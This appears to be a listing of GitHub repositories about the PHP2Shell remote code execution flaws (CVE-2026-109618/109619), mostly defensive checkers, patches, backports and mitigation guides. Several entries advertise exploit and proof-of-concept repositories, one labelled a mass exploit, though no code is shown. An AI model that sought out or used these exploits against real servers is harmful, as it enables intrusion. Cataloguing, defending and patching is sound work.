nwfella/php2shell-advisory
PHP2Shell (CVE-2026-109618 / -109619): plain-English brief + patch runbook for PHP 8.2-8.5, EOL branches, containers and...
|
nwfella | 0 | 0 | 2026-10-22 | View |
|
ThePainter1939/php2shell-guard
Fast, zero-dependency Bash toolkit to audit, scan logs, mitigate, and patch Linux servers against PHP2Shell (CVE-2026-10...
|
ThePainter1939 | 0 | 0 | 2026-10-22 | View |
|
mbadis-dev/php-cve-2026-109618-toolkit
|
mbadis-dev | 0 | 0 | 2026-10-22 | View |
|
chamrouensqa/php2shell-cve-poc
Local Docker lab + Chain A PoC for CVE-2026-109618 / CVE-2026-109619 (PHP 8.2.34)
|
chamrouensqa | 0 | 0 | 2026-10-22 | View |
|
zhqagp/php-7.2
PHP 7.2 with security fixes for CVE-2026-109618 and CVE-2026-109619
|
zhqagp | 0 | 0 | 2026-10-22 | View |
|
juliosuas/php2shell-check
Defensive checker for PHP2Shell (CVE-2026-109618, CVE-2026-109619). Detects PHP version/SAPI on hosts you own and report...
|
juliosuas | 0 | 0 | 2026-10-22 | View |
|
anldori/CVE-2026-109618
|
anldori | 0 | 0 | 2026-10-22 | View |
|
jzgyhlove/php2shell-windows
一个快速、批量检测PHP版本是否存在CVE-2026-109618/109619
|
jzgyhlove | 0 | 0 | 2026-10-22 | View |
|
manuxio/untested-php2shell-fixed-php-5-4-fpm
UNTESTED unofficial PHP 5.4.45 FPM image with a backport of the php2shell (CVE-2026-109618/109619) mitigation
|
manuxio | 0 | 0 | 2026-10-22 | View |
|
ryantseng24/php2shell-f5-waf-tools
php2shell (CVE-2026-109618/109619) F5 BIG-IP Advanced WAF check and verification tools
|
ryantseng24 | 0 | 0 | 2026-10-22 | View |
|
EfraimDiveroli-Pwn3d/PHP2shell_nuclei_templates
Пассивные Nuclei-шаблоны для обнаружения версий PHP и PHP-приложений в рамках проверки CVE-2026-109618 и CVE-2026-109619...
|
EfraimDiveroli-Pwn3d | 0 | 0 | 2026-10-22 | View |
|
dos-security/php-critical-rce-advisory
Defensive PHP update guidance and local-only verification for CVE-2026-109618 and CVE-2026-109619.
|
dos-security | 0 | 0 | 2026-10-22 | View |
|
MKA930/php2shell-remediation-guide
PHP2Shell remediation guide (CVE-2026-109618 / CVE-2026-109619) for native Linux, Docker and BT Panel
|
MKA930 | 0 | 0 | 2026-10-22 | View |
|
KanyCrew/php2shell-poc
PoC per php2shell CVE-2026-109618/109619 (Chain D OOM + variante senza upload) — coding by GLM uncensored
|
KanyCrew | 0 | 0 | 2026-10-22 | View |
|
zNexoraTech/php2shell-detector
Detection for the critical PHP RCE flaws CVE-2026-109618 and CVE-2026-109619. Reports vulnerable/patched/EOL PHP runtime...
|
zNexoraTech | 0 | 0 | 2026-10-22 | View |
|
hkoeck/php2shell-status
PHP2Shell (CVE-2026-109618/109619) vendor and Linux distro status - AI-generated, verify before acting
|
hkoeck | 0 | 0 | 2026-10-22 | View |
|
mohamedation/php2shell-scanner
Non-destructive detector for CVE-2026-109618** and **CVE-2026-109619
|
mohamedation | 0 | 0 | 2026-10-22 | View |
|
yu1row/php-cve-2026-check
PHP CVE-2026-109618 / CVE-2026-109619 簡易確認スクリプト
|
yu1row | 0 | 0 | 2026-10-22 | View |
|
Anwar0904/php2shell-guard
Open-source PHP security assessment tool for CVE-2026-109618 and CVE-2026-109619. Built with React, TypeScript and Cloud...
|
Anwar0904 | 0 | 0 | 2026-10-22 | View |
|
sprabhav7/php2shell-detection
Non-invasive detector for the PHP2Shell RCE pair: CVE-2026-109618 and CVE-2026-109619.
|
sprabhav7 | 0 | 0 | 2026-10-22 | View |
|
mbelsis/php2shell_scan
Read-only PHP2Shell inventory scanner that checks servers over SSH and optional HTTP/HTTPS, identifies potentially vulne...
|
mbelsis | 0 | 0 | 2026-10-22 | View |
|
g41277460-cpu/CVE-2026-109618-CVE-2026-109619-php2shell-
cve explaination
|
g41277460-cpu | 0 | 0 | 2026-10-22 | View |
|
TheMursalin/CVE-2026-109618
php2shell
|
TheMursalin | 0 | 0 | 2026-10-22 | View |
|
AIjennings/ariawave-php2shell-scanner
AriaWave PHP2Shell (CVE-2026-109618 & CVE-2026-109619) Defensive Readiness, SAPI, Apache RLimitMEM & INI Override Scanne...
|
AIjennings | 0 | 0 | 2026-10-22 | View |
|
sawula7/php72-php2shell-backport
Unofficial backport of php commit (Avoid state corruption via bailout, branch PHP-7.4-CVE-2026-109618-109619) to the fin...
|
sawula7 | 0 | 0 | 2026-10-22 | View |
|
benjagdg/php2shell-ubuntu-fix
Diagnóstico, parcheo y mitigación de PHP2Shell (CVE-2026-109618 / CVE-2026-109619) en Ubuntu
|
benjagdg | 0 | 0 | 2026-10-22 | View |
|
jorgbot/PHP2Shell
Script para auditar las url en produccion si es vulnerable con el bug CVE-2026-109618 / CVE-2026-109619 — PHP
|
jorgbot | 0 | 0 | 2026-10-22 | View |
|
kishwordulal2005/CVE-2026-109618-and-CVE-2026-109619-Exploit
CVE-2026-109618 and CVE-2026-109619 exploit
|
kishwordulal2005 | 0 | 0 | 2026-10-22 | View |
|
UrsusMagus/php74-windows-security-build
Windows x64 NTS PHP 7.4 security build for CVE-2026-109618 and CVE-2026-109619
|
UrsusMagus | 0 | 0 | 2026-10-22 | View |
|
ansonhsu-ai/php2shell-cve-2026-109618-ste
|
ansonhsu-ai | 0 | 0 | 2026-10-22 | View |
|
Evil0ctal/php2shell-scanner
Detect & investigate the PHP session.upload_progress RCE (CVE-2026-109618 / CVE-2026-109619, php2shell): non-destructive...
|
Evil0ctal | 0 | 0 | 2026-10-22 | View |
|
segfo/php2shell-poc
CVE-2026-109618 / CVE-2026-109619 PHP OOM Corruption PoC
|
segfo | 0 | 0 | 2026-10-22 | View |
|
tiendungdev/php2shell-mitigation
Temporary php2shell (CVE-2026-109618/109619) mitigation for Ubuntu and AlmaLinux 8 / FastPanel
|
tiendungdev | 0 | 0 | 2026-10-22 | View |
|
htobty/php2shell-check
Non-destructive checker, porting analysis and self-built patches for CVE-2026-109618 / CVE-2026-109619
|
htobty | 0 | 0 | 2026-10-22 | View |
|
colinyy/php2shell-exposure-check
Passive, non-exploiting checker that inventories PHP version disclosure across a list of websites and assesses patch sta...
|
colinyy | 0 | 0 | 2026-10-22 | View |
|
4B3R4M4-607D/php2shell
CVE-2026-109618 / CVE-2026-109619
|
4B3R4M4-607D | 0 | 0 | 2026-10-22 | View |
|
AlexVargasV/php2shell-response-kit
Guide, self-assessment form and read-only Linux check script for php2shell (CVE-2026-109618 / CVE-2026-109619): find out...
|
AlexVargasV | 0 | 0 | 2026-10-22 | View |
|
WildanDeveloper/php2shell
CVE-2026-109618 / CVE-2026-109619 (php2shell) toolkit - session.upload_progress + LFI RCE proof and OOM precondition det...
|
WildanDeveloper | 0 | 0 | 2026-10-22 | View |
|
guaidao2/php2shell-exploit-labstyle
Research notes, a calibrated exploit and a detection template for the PHP session upload-progress RCEs (CVE-2026-109618 ...
|
guaidao2 | 0 | 0 | 2026-10-22 | View |
|
vietvq/php-backport-7.4-apache
php-backport:7.4-apache PHP-7.4-CVE-2026-109618-109619
|
vietvq | 0 | 0 | 2026-10-22 | View |
|
johanych/php2shell-checker
Chequeo no invasivo de php2shell (CVE-2026-109618 / CVE-2026-109619): fingerprint de PHP, inferencia de SAPI y veredicto...
|
johanych | 0 | 0 | 2026-10-22 | View |
|
mengchencloud/aws-php2shell-mitigation
PHP2Shell (CVE-2026-109618/109619) remediation guide on AWS + AWS WAF CloudFormation template (China regions validated)
|
mengchencloud | 0 | 0 | 2026-10-22 | View |
|
inetzombie/php2shell-check
Safe, passive, read-only detector for the PHP2Shell CVEs (CVE-2026-109618 / CVE-2026-109619). Reads only self-disclosed ...
|
inetzombie | 0 | 0 | 2026-10-22 | View |
|
scriptsnet/php2shell-security-toolkit
PHP2Shell (CVE-2026-109618/CVE-2026-109619) multi-server scanner, guarded Linux/Windows remediation scripts, incident re...
|
scriptsnet | 0 | 0 | 2026-10-22 | View |
|
ucrm-plugins/php2shell
Patch the PHP inside Ubiquiti UISP against php2shell (CVE-2026-109618/109619) — rebuilds the binary, not a request filte...
|
ucrm-plugins | 0 | 0 | 2026-10-22 | View |
|
alanh0vx/php2shell-check
Quick vulnerability checker for CVE-2026-109618 & CVE-2026-109619 (PHP2Shell) — detection only, no exploit
|
alanh0vx | 0 | 0 | 2026-10-22 | View |
|
KByteITServices/php-vulnerability-checker-october-2026
Check Linux servers and Docker containers for PHP versions affected by CVE-2026-109618 and CVE-2026-109619 (PHP2Shell). ...
|
KByteITServices | 0 | 0 | 2026-10-22 | View |
|
spcaeo/php2shell-check
Is your site exposed to php2shell (CVE-2026-109618, CVE-2026-109619), the October 2026 PHP remote code execution flaws? ...
|
spcaeo | 0 | 0 | 2026-10-22 | View |
|
checkfoxe/php56-session-uaf-patch
PHP 5.6 security patch, backports, and mitigations for session.upload_progress Use-After-Free (CVE-2026-109618, CVE-2026...
|
checkfoxe | 0 | 0 | 2026-10-22 | View |
|
danrod96-new/php-patch-check
Two small, read-only tools to confirm whether your PHP installations are patched against the critical RCE advisory publi...
|
danrod96-new | 0 | 0 | 2026-10-22 | View |
|
HORKimhab/CVE-2026-109618-619
CVE-2026-109618, CVE-2026-109619
|
HORKimhab | 0 | 0 | 2026-10-22 | View |
|
0k1dok1/CVE-2026-109618-CHECK
|
0k1dok1 | 0 | 0 | 2026-10-22 | View |
|
viniciusbossle/php74-el7-php2shell
Unofficial rebuild of PHP 7.4 for EL7 (CentOS/RHEL 7) with the php2shell fix (CVE-2026-109618/109619). A stopgap for EOL...
|
viniciusbossle | 0 | 0 | 2026-10-22 | View |
|
meuhland/php-legacy-windows-builds
Patches and Windows build scripts for PHP 5.6-7.4 fixing CVE-2026-109618 / CVE-2026-109619
|
meuhland | 0 | 0 | 2026-10-22 | View |
|
the-metafactory/php-patch-verify
Portable Agent Skill to verify PHP patch status for the Oct 2026 RCE pair (CVE-2026-109618/619) and audit the CERT-EU mi...
|
the-metafactory | 0 | 0 | 2026-10-22 | View |
|
LightSpeedC/20261022-research-php-cve
PHP の RCE 脆弱性 CVE-2026-109618 / CVE-2026-109619 の調査
|
LightSpeedC | 0 | 0 | 2026-10-22 | View |
|
yanzyuyu/phptshell
Production-grade defensive CLI to audit, patch, and hunt PHP2Shell (CVE-2026-109618/19) memory-safety exploits without d...
|
yanzyuyu | 0 | 0 | 2026-10-22 | View |
|
solymx/php-cve-2026-research
Research notes on CVE-2026-109618 / CVE-2026-109619 (PHP) - defensive analysis
|
solymx | 0 | 0 | 2026-10-22 | View |
|
bee7813993/xampp-security-update
XAMPP for Windows の PHP を PHP2Shell（CVE-2026-109618 / CVE-2026-109619）修正版の PHP 8.2.35 に入れ替える非公式スクリプト
|
bee7813993 | 0 | 0 | 2026-10-22 | View |
|
thegillion/uisp-php2shell-guard
A temporary shield for **UISP servers running the CRM**, against the **PHP2Shell** vulnerabilities (CVE-2026-109618 and ...
|
thegillion | 0 | 0 | 2026-10-22 | View |
|
nanoarmando/php-focal-backports
Rebuilds of patched ondrej/php PHP 8.1, 8.0, 7.4, 7.3 and 5.6 packages for Ubuntu 20.04 (CVE-2026-109618, CVE-2026-10961...
|
nanoarmando | 0 | 0 | 2026-10-22 | View |
|
atarus-security/atarus-phpcheck
Detection and inventory tool for PHP core CVE-2026-109618 and CVE-2026-109619: finds PHP installs, checks versions and m...
|
atarus-security | 0 | 0 | 2026-10-21 | View |
|
CompleteTech-LLC/php2shell-check
Passive PHP2Shell (CVE-2026-109618, CVE-2026-109619) exposure checker with branded HTML reports. Single-file Python, no ...
|
CompleteTech-LLC | 0 | 0 | 2026-10-21 | View |
|
nukIeer/php2shell-checker
php2shell (CVE-2026-109618 / CVE-2026-109619) PHP version checker
|
nukIeer | 0 | 0 | 2026-10-21 | View |
|
Flookerton/Am-I-Pwned
PHP2Shell (CVE-2026-109618/109619) exposure check: find which of your accounts sit on sites running PHP, rank the risk, ...
|
Flookerton | 0 | 0 | 2026-10-21 | View |
|
Quaerendir/php2shell-audit
Read-only audit script for PHP2Shell (CVE-2026-109618, CVE-2026-109619): PHP core use-after-free, unauthenticated RCE
|
Quaerendir | 0 | 0 | 2026-10-21 | View |
|
Stonlifer/php2shell-old2
Reproducible lab for the PHP session upload-progress UAF (CVE-2026-109618/109619) with WordPress and Laravel targets, pl...
|
Stonlifer | 0 | 0 | 2026-10-21 | View |
|
derazo1/php2shell-scanner
Non-destructive PHP scanner for CVE-2026-109618 and CVE-2026-109619
|
derazo1 | 0 | 0 | 2026-10-21 | View |
|
skwirrel/php-cve-2026-109618-check
Check whether your own PHP 7.x-8.1 server still has the CVE-2026-109618 out-of-memory handling (install-on-server probe,...
|
skwirrel | 0 | 0 | 2026-10-21 | View |
|
hoehyeonlab/php-cve-2026-109618-check
php2shell (CVE-2026-109618/109619) checker that also finds vulnerable PHP inside Docker containers. Read-only, CI-friend...
|
hoehyeonlab | 0 | 0 | 2026-10-21 | View |
|
JVCSampaio/php2shell-hardening
Relatório de hardening e laboratório Docker defensivo para a PHP2Shell (CVE-2026-109618 / CVE-2026-109619). Sem PoC ofen...
|
JVCSampaio | 0 | 0 | 2026-10-21 | View |
|
codesource/cve-check
Shell scripts that check Linux hosts for known vulnerabilities (PHP CVE-2026-109618/109619, Copy Fail CVE-2026-31431), r...
|
codesource | 0 | 0 | 2026-10-21 | View |
|
FranklinF25/php2shell
php2shell (CVE-2026-109618 / CVE-2026-109619) — PHP core unauth RCE research: safe differential detector, deterministic ...
|
FranklinF25 | 0 | 0 | 2026-10-21 | View |
|
fparch/php-cve-lab
Detection + mitigation lab for the October 2026 PHP critical release (CVE-2026-109618 / CVE-2026-109619). No exploit cod...
|
fparch | 0 | 0 | 2026-10-21 | View |
|
rattones/php2shell-check
Material e script de diagnóstico (somente leitura) para as CVE-2026-109618 e CVE-2026-109619 (php2shell)
|
rattones | 0 | 0 | 2026-10-21 | View |
|
atrailab/php-security-update-helper
Fix Php2Shell ( CVE-2026-109618 and CVE-2026-109619)
|
atrailab | 0 | 0 | 2026-10-21 | View |
|
euriconicacio/php2shell-validation-toolkit
Validation & defense toolkit for PHP2Shell (CVE-2026-109618 / CVE-2026-109619): safe exposure checker, stack-wide mitiga...
|
euriconicacio | 0 | 0 | 2026-10-21 | View |
|
hiramcoop/php2shellscan
Escáner defensivo por versión para detectar servidores PHP afectados por PHP2Shell (CVE-2026-109618 / CVE-2026-109619). ...
|
hiramcoop | 0 | 0 | 2026-10-21 | View |
|
x0xr00t/sl0ppy-php2shellscan
ruby module for php2shell to scan for the vulns of CVE-2026-109618 & CVE-2026-109619
|
x0xr00t | 0 | 0 | 2026-10-21 | View |
|
joshuarosato/php2shell-poc
Proof-of-concept for CVE-2026-109618 and CVE-2026-109619 (PHP upload-progress RCE)
|
joshuarosato | 0 | 0 | 2026-10-21 | View |
|
bagsiz/el7-php70-security
Patched PHP 7.0 RPMs for CentOS 7 (Remi php-* and php70-php-*) fixing CVE-2026-109618 / CVE-2026-109619, with an install...
|
bagsiz | 0 | 0 | 2026-10-21 | View |
|
tmespro/php-emergency-mitigations
Safe, reversible interim hardening for critical PHP vulnerabilities while you wait for patched builds. One opt-in module...
|
tmespro | 0 | 0 | 2026-10-21 | View |
|
cj667113/OCI-Ansible-Fix-CVE-2026-109618_CVE-2026-109619
PHP2Shell Audit and Fix
|
cj667113 | 0 | 0 | 2026-10-21 | View |
|
projetoroot/php2shell-guard
Mitigar CVE-2026-109618 e CVE-2026-109619: Software que permite bloquear requisições HTTP que utilizam multipart/form-da...
|
projetoroot | 0 | 0 | 2026-10-21 | View |
|
sdminev/php2shell-poc
Independent PHP2Shell research: CVE-2026-109618/109619 status, source-linked PoC audits, and evidence tracker.
|
sdminev | 0 | 0 | 2026-10-21 | View |
|
D1a0y1bb/PHP2Shell-PoC
The PoC of CVE-2026-109618 and CVE-2026-109619
|
D1a0y1bb | 0 | 0 | 2026-10-21 | View |
|
SoftCreatR/php81-php2shell-fix
Unofficial PHP 8.1.34 builds for Linux and Windows with the PHP security team’s PHP2Shell fixes (CVE-2026-109618 and CVE...
|
SoftCreatR | 0 | 0 | 2026-10-21 | View |
|
radito/php74-backport
PHP 7.4.33 FPM image with the official CVE-2026-109618 / CVE-2026-109619 emergency backport
|
radito | 0 | 0 | 2026-10-21 | View |
|
imsarah/php2shell-hardening-for-agents
Hardens and patches PHP sites you did not build — SAPI-aware mitigation, cache-aware verification, and honest CVE patch ...
|
imsarah | 0 | 0 | 2026-10-21 | View |
|
AvaterXXX/CVE-2026-109618-CVE-2026-109619-
|
AvaterXXX | 0 | 0 | 2026-10-21 | View |
|
hirokidaichi/php56-cve-2026-backport-experiment
Experimental PHP 5.6.40 source backport for CVE-2026-109618 and CVE-2026-109619, with reproduction steps and test eviden...
|
hirokidaichi | 0 | 0 | 2026-10-21 | View |
|
Huboxt/php-base-images
Temporary patched PHP base images (CVE-2026-109618/109619) until official images ship
|
Huboxt | 0 | 0 | 2026-10-21 | View |
|
stufently/php-patched-images
PHP 8.2-8.5 Docker images (cli/fpm/apache) patched for CVE-2026-109618 / CVE-2026-109619 (php2shell), multi-arch, on GHC...
|
stufently | 0 | 0 | 2026-10-21 | View |
|
antiburen/PHP2Shell-Probe
Defensive probe for the PHP multipart parser vulnerability CVE-2026-109618 · CVSS 9.2 CVE-2026-109619 PHP < 8.3.36 / 8....
|
antiburen | 0 | 0 | 2026-10-21 | View |
|
m16a4666/php2shell-fix
Ubuntu PHP2Shell (CVE-2026-109618 / CVE-2026-109619) package updater and patch verification
|
m16a4666 | 0 | 0 | 2026-10-21 | View |
|
jsrobinson3/php74-focal-cve-2026-109618
|
jsrobinson3 | 0 | 0 | 2026-10-21 | View |
|
MelchiorKokernoot/frankenphp-php8.4.27
Unofficial stopgap: FrankenPHP 1.13.1 on PHP 8.4.27 (CVE-2026-109618/109619), unmodified upstream rebuild
|
MelchiorKokernoot | 0 | 0 | 2026-10-21 | View |
|
WeMakeGood/php2shell
Audit and interim mitigation scripts for PHP2Shell (CVE-2026-109618/109619) on Forge-managed Ubuntu servers
|
WeMakeGood | 0 | 0 | 2026-10-21 | View |
|
luivc1/php-vuln-responder
Agent plugin to scan, patch, verify and check for compromise after critical PHP vulnerabilities (PHP2Shell CVE-2026-1096...
|
luivc1 | 0 | 0 | 2026-10-21 | View |
|
maikbehring/php-notbetrieb
Notbetrieb für PHP, das sich nicht patchen lässt. Kein Fix für CVE-2026-109618 und CVE-2026-109619.
|
maikbehring | 0 | 0 | 2026-10-21 | View |
|
the-berlin/bitrixvm-php-hotfix
Срочное обновление PHP 8.2.34 → 8.2.35 на BitrixVM 9 сборкой из исходников (CVE-2026-109618, CVE-2026-109619)
|
the-berlin | 0 | 0 | 2026-10-21 | View |
|
haobachang-1/php2shell-CVE-2026-109618-CVE-2026-109619
|
haobachang-1 | 0 | 0 | 2026-10-21 | View |
|
deconstruction/EOLphp-php2shell-patches
Unofficial mitigation patches for CVE-2026-109618/109619 on EOL PHP 5.x
|
deconstruction | 0 | 0 | 2026-10-21 | View |
|
genetix/php2shell-diagnostic
Non-destructive testing toolkit for php2shell (CVE-2026-109618 / CVE-2026-109619) - Compatible with PHP 5.2+
|
genetix | 0 | 0 | 2026-10-21 | View |
|
guoziyu415/php2shell-check
Paste a Dockerfile, docker-compose, php -v or a package list and see whether your PHP needs the October 2026 fix for CVE...
|
guoziyu415 | 0 | 0 | 2026-10-21 | View |
|
meowmeow34spec/php2shell-namu-kr
PHP2Shell CVE-2026-109618·109619 보고서 나무위키 형식 파인만 풀이 페이지
|
meowmeow34spec | 0 | 0 | 2026-10-21 | View |
|
kiran-ox/php2shell-check
Read-only checker for PHP2Shell (CVE-2026-109618, CVE-2026-109619): finds vulnerable PHP, services still running old cod...
|
kiran-ox | 0 | 0 | 2026-10-21 | View |
|
mejustbox-byte/CVE-2026-109618-CVE-2026-109619
PHP Portal Audit: URL-only risk signals for CVE-2026-109618 / CVE-2026-109619, runtime assessment and optional multipart...
|
mejustbox-byte | 0 | 0 | 2026-10-21 | View |
|
toopster-com/php2shell-check-for-claude
Passive check for Claude whether a website or server runs a PHP version affected by PHP2Shell (CVE-2026-109618, CVE-2026...
|
toopster-com | 0 | 0 | 2026-10-21 | View |
|
litobro/php2mon
Live monitor for PHP2Shell exploitation (CVE-2026-109618/109619)
|
litobro | 0 | 0 | 2026-10-21 | View |
|
zdeneksvarc/wordpress-7.1.3-patched-php2shell
Docker linux/amd64 build for WordPress 7.1.3 on PHP 8.5.12 FPM Alpine, with fixes for the PHP2Shell vulnerabilities (CV...
|
zdeneksvarc | 0 | 0 | 2026-10-21 | View |
|
The-DevOps-Daily/php2shell-check
Find every PHP on a host, in its containers and in popular images, and prove it has the PHP2Shell fix (CVE-2026-109618, ...
|
The-DevOps-Daily | 0 | 0 | 2026-10-21 | View |
|
Kindredman/php2shell-host-audit
Read-only on-host detection for PHP2Shell CVE-2026-109618 / CVE-2026-109619 across panels, containers, backports and un-...
|
Kindredman | 0 | 0 | 2026-10-21 | View |
|
Faizan-Khanx/php2shell
PHP2Shell: Pre-Auth Remote Code Execution (RCE) in PHP Core (CVE-2026-109618 & CVE-2026-109619) Verified PoC Exploit, Se...
|
Faizan-Khanx | 0 | 0 | 2026-10-21 | View |
|
squiblyza/CVE-2026-109618-CVE-2026-109619
Passive exposure check for the PHP October 2026 RCE advisory (CVE-2026-109618 / CVE-2026-109619), with a Claude skill
|
squiblyza | 0 | 0 | 2026-10-21 | View |
|
puffert/php-critical-rce-scanner
Safe local and passive remote exposure checker for CVE-2026-109618 and CVE-2026-109619, with a Burp BCheck.
|
puffert | 0 | 0 | 2026-10-21 | View |
|
rodrigocolozio/php2shell-check
CVE-2026-109618 / CVE-2026-109619 (PHP2Shell) Vulnerability Checker — Detect vulnerable PHP installations across your fl...
|
rodrigocolozio | 0 | 0 | 2026-10-21 | View |
|
OmerAti/php-5.6.40-CVE-2026-109618-109619.patch
Important: PHP 5.6 is an end-of-life release. This patch should only be considered a security measure after its source c...
|
OmerAti | 0 | 0 | 2026-10-21 | View |
|
vulnace/PHP2Shell
PHP2Shell PoC — CVE-2026-109618 / CVE-2026-109619 Heap use-after-free in PHP session.upload_progress handler (php_sessio...
|
vulnace | 0 | 0 | 2026-10-21 | View |
|
1Nightlovel/CVE-2026-109618
php2shellscanner
|
1Nightlovel | 0 | 0 | 2026-10-21 | View |
|
xqus/php2shell-check
Read-only triage for the Oct 2026 PHP RCE advisory (CVE-2026-109618/109619)
|
xqus | 0 | 0 | 2026-10-21 | View |
|
hellbound2307/php2shell-lab
CVE-2026-109618 / CVE-2026-109619 — lab harness, offsets, mitigation verification and write-up (own hosts only)
|
hellbound2307 | 0 | 0 | 2026-10-21 | View |
|
Autive/php2shell-watch
Cron watchdog for PHP-FPM servers: crashed workers, spawned shells, odd connections, new files, persistence. Written for...
|
Autive | 0 | 0 | 2026-10-21 | View |
|
BIBILZERODAY/PHP2Shell-CVE-2026-109618-CVE-2026-109619-Mass-Exploit
|
BIBILZERODAY | 0 | 0 | 2026-10-21 | View |
|
EkaterinaMarchetti/Non-intrusive-PHP2Shell-assessment-for-CVE-2026-109618-and-CVE-2026-109619
Non-intrusive PHP2Shell assessment for CVE-2026-109618 and CVE-2026-109619
|
EkaterinaMarchetti | 0 | 0 | 2026-10-21 | View |
|
nsrg-fmlorg/php-cve-2026-109618
PHP php2shell (CVE-2026-109618, CVE-2026-109619) fixes for Rocky Linux 8, 9 and 10, following AlmaLinux's
|
nsrg-fmlorg | 0 | 0 | 2026-10-21 | View |
|
adamtamenne/php2shell-lab
Docker lab for reproducing CVE-2026-109618 and CVE-2026-109619 (php2shell), OOM corruption and stale global state RCE in...
|
adamtamenne | 0 | 0 | 2026-10-21 | View |
|
kernelkill/PoC_f5_php2shell.sh
Script bash para validar que a iRule do F5 BIG-IP está bloqueando o padrão-gatilho php2shell (CVE-2026-109618 / CVE-2026...
|
kernelkill | 0 | 0 | 2026-10-21 | View |
|
paulamckenzie9193/php2shell-check
Free PHP2Shell (CVE-2026-109618) version check
|
paulamckenzie9193 | 0 | 0 | 2026-10-21 | View |
|
DandanLLab/PHP-5.6.40-CVE-2026-109618-109619
php5 修复CVE-2026-109618-109619
|
DandanLLab | 0 | 0 | 2026-10-21 | View |
|
alvaroguzmancode/CVE-2026-109618
|
alvaroguzmancode | 0 | 0 | 2026-10-21 | View |
|
NaNoBotCo/php-patch
The PHP Patch: PHP2Shell (CVE-2026-109618, CVE-2026-109619) explained — meaning, who is exposed, how to fix
|
NaNoBotCo | 0 | 0 | 2026-10-21 | View |
|
gregoirer-mediactive/php
php:7.4-fpm drop-in rebuilt with the CVE-2026-109618/109619 fix (PHP2Shell)
|
gregoirer-mediactive | 0 | 0 | 2026-10-21 | View |
|
lushinshang/php2shell-cve-2026-109618
PHP2Shell（CVE-2026-109618 / CVE-2026-109619）兩天全紀錄：以 php.net 官方公告為主軸的繁中深度導讀
|
lushinshang | 0 | 0 | 2026-10-21 | View |
|
Unkn0vv/php2shell
PHP2Shell Censys Query (CVE-2026-109618 / CVE-2026-109619 )
|
Unkn0vv | 0 | 0 | 2026-10-21 | View |
|
EXT-IT/php2shell-check
Read-only check whether a server is still exposed to php2shell (CVE-2026-109618, CVE-2026-109619): judges Debian/Ubuntu ...
|
EXT-IT | 0 | 0 | 2026-10-21 | View |
|
zarguell/php2shell-scanner
Non-destructive network scanner for php2shell (CVE-2026-109618/CVE-2026-109619): version fingerprint + session-write ora...
|
zarguell | 0 | 0 | 2026-10-21 | View |
|
syrex1013/CVE-2026-109618
|
syrex1013 | 0 | 0 | 2026-10-21 | View |
|
SeanDishman/php2shell-CVE-2026-109618-CVE-2026-109619
Example lab for CVE-2026-109618 / CVE-2026-109619 (php2shell): unpatched PHP session.upload_progress site + Python clien...
|
SeanDishman | 0 | 0 | 2026-10-21 | View |
|
0ldbaby/php2shell
CVE-2026-109618 / CVE-2026-109619
|
0ldbaby | 0 | 0 | 2026-10-21 | View |
|
FacundoGimenez/php2shell-mitigation
Interim mitigations, exposure checks and detection helpers for php2shell (CVE-2026-109618 / CVE-2026-109619)
|
FacundoGimenez | 0 | 0 | 2026-10-21 | View |
|
edgarbaldemarmx/php2shell-remediation
Emergency mitigation for php2shell (CVE-2026-109618 / CVE-2026-109619): disables session.upload_progress on shared hosti...
|
edgarbaldemarmx | 0 | 0 | 2026-10-21 | View |
|
rjmendez/phpup-2026
IOCs and detection rules for CVE-2026-109618 / CVE-2026-109619 (PHP session.upload_progress UAF)
|
rjmendez | 0 | 0 | 2026-10-21 | View |
|
MakFly/php2shell-check
Check and apply the php2shell fix (CVE-2026-109618, CVE-2026-109619) on hosts, SSH servers and Docker images
|
MakFly | 0 | 0 | 2026-10-21 | View |
|
daffa001/php-CVE-2026-109618-CVE-2026-109619
|
daffa001 | 0 | 0 | 2026-10-21 | View |
|
0xBlackash/CVE-2026-109618
CVE-2026-109618
|
0xBlackash | 0 | 0 | 2026-10-21 | View |
|
WeszNL/directadmin-php2shell-ansible-mitigation
Temporary PHP2Shell mitigation for DirectAdmin PHP-FPM servers (CVE-2026-109618, CVE-2026-109619) using Ansible. Include...
|
WeszNL | 0 | 0 | 2026-10-21 | View |
|
sorenjohanson/crowdsec-cve-2026-109618-rule
Initial version of custom CrowdSec rule for CVE-2026-109618 and CVE-2026-109619
|
sorenjohanson | 0 | 0 | 2026-10-21 | View |
|
CYB3RW07F/PHP2Shell-CVE-2026-109618-CVE-2026-109619
CVE-2026-109618 and CVE-2026-109619
|
CYB3RW07F | 0 | 0 | 2026-10-21 | View |
|
pruiz/php-CVE-2026-109618
Repo with stuff wrt CVE-2026-109618 backports & workarounds..
|
pruiz | 0 | 0 | 2026-10-21 | View |
|
LeonelArrua/CVE-2026-109618_CVE-2026-109619_Mitigate
Mitigation for CVE-2026-109618 and CVE-2026-109619 for PHP under 8.X
|
LeonelArrua | 0 | 0 | 2026-10-21 | View |
|
chrisdfir/php2shell-detection
Detection checkers for CVE-2026-109618 / CVE-2026-109619 (PHP session upload progress RCE): version inventory, session-f...
|
chrisdfir | 0 | 0 | 2026-10-21 | View |
|
pete-builds/php-security-release-2026-10
Tracking PHP CVE-2026-109618 / CVE-2026-109619: official status, patches, mitigations
|
pete-builds | 0 | 0 | 2026-10-21 | View |
|
BigHackerManXD/php-upload-progress-hardening-wp
Interim guidance for managed WordPress environments following PHP's announcement of critical CVEs CVE-2026-109618 and CV...
|
BigHackerManXD | 0 | 0 | 2026-10-21 | View |
|
0-draft/php2shell-anatomy
Defensive awareness site dissecting the php2shell PHP zero-day (CVE-2026-109618 / CVE-2026-109619): why it's critical, w...
|
0-draft | 0 | 0 | 2026-10-21 | View |
|
k0x-offsec/php2shell-shield
WAF rules, PHP hardening & detection for CVE-2026-109618/109619 (PHP2Shell). Lab-tested bridge until you patch - review ...
|
k0x-offsec | 0 | 0 | 2026-10-21 | View |
|
grupooruss/php2shell-test
PHP2Shell Evaluación de CVE-2026-109618 and CVE-2026-109619
|
grupooruss | 0 | 0 | 2026-10-21 | View |
|
plob881/php2shell-shield
Serverbrede noodblokkade voor PHP2Shell (CVE-2026-109618 / CVE-2026-109619) voor DirectAdmin, Plesk, cPanel en kale Apac...
|
plob881 | 0 | 0 | 2026-10-21 | View |
|
EkaterinaMarchetti/php2shell-assessment-global
Non-intrusive PHP2Shell assessment for CVE-2026-109618 and CVE-2026-109619
|
EkaterinaMarchetti | 0 | 0 | 2026-10-21 | View |
|
grupooruss/php2shell-assessment-global
Non-intrusive PHP2Shell assessment for CVE-2026-109618 and CVE-2026-109619
|
grupooruss | 0 | 0 | 2026-10-21 | View |
|
Okymi-X/CVE-2026-109618
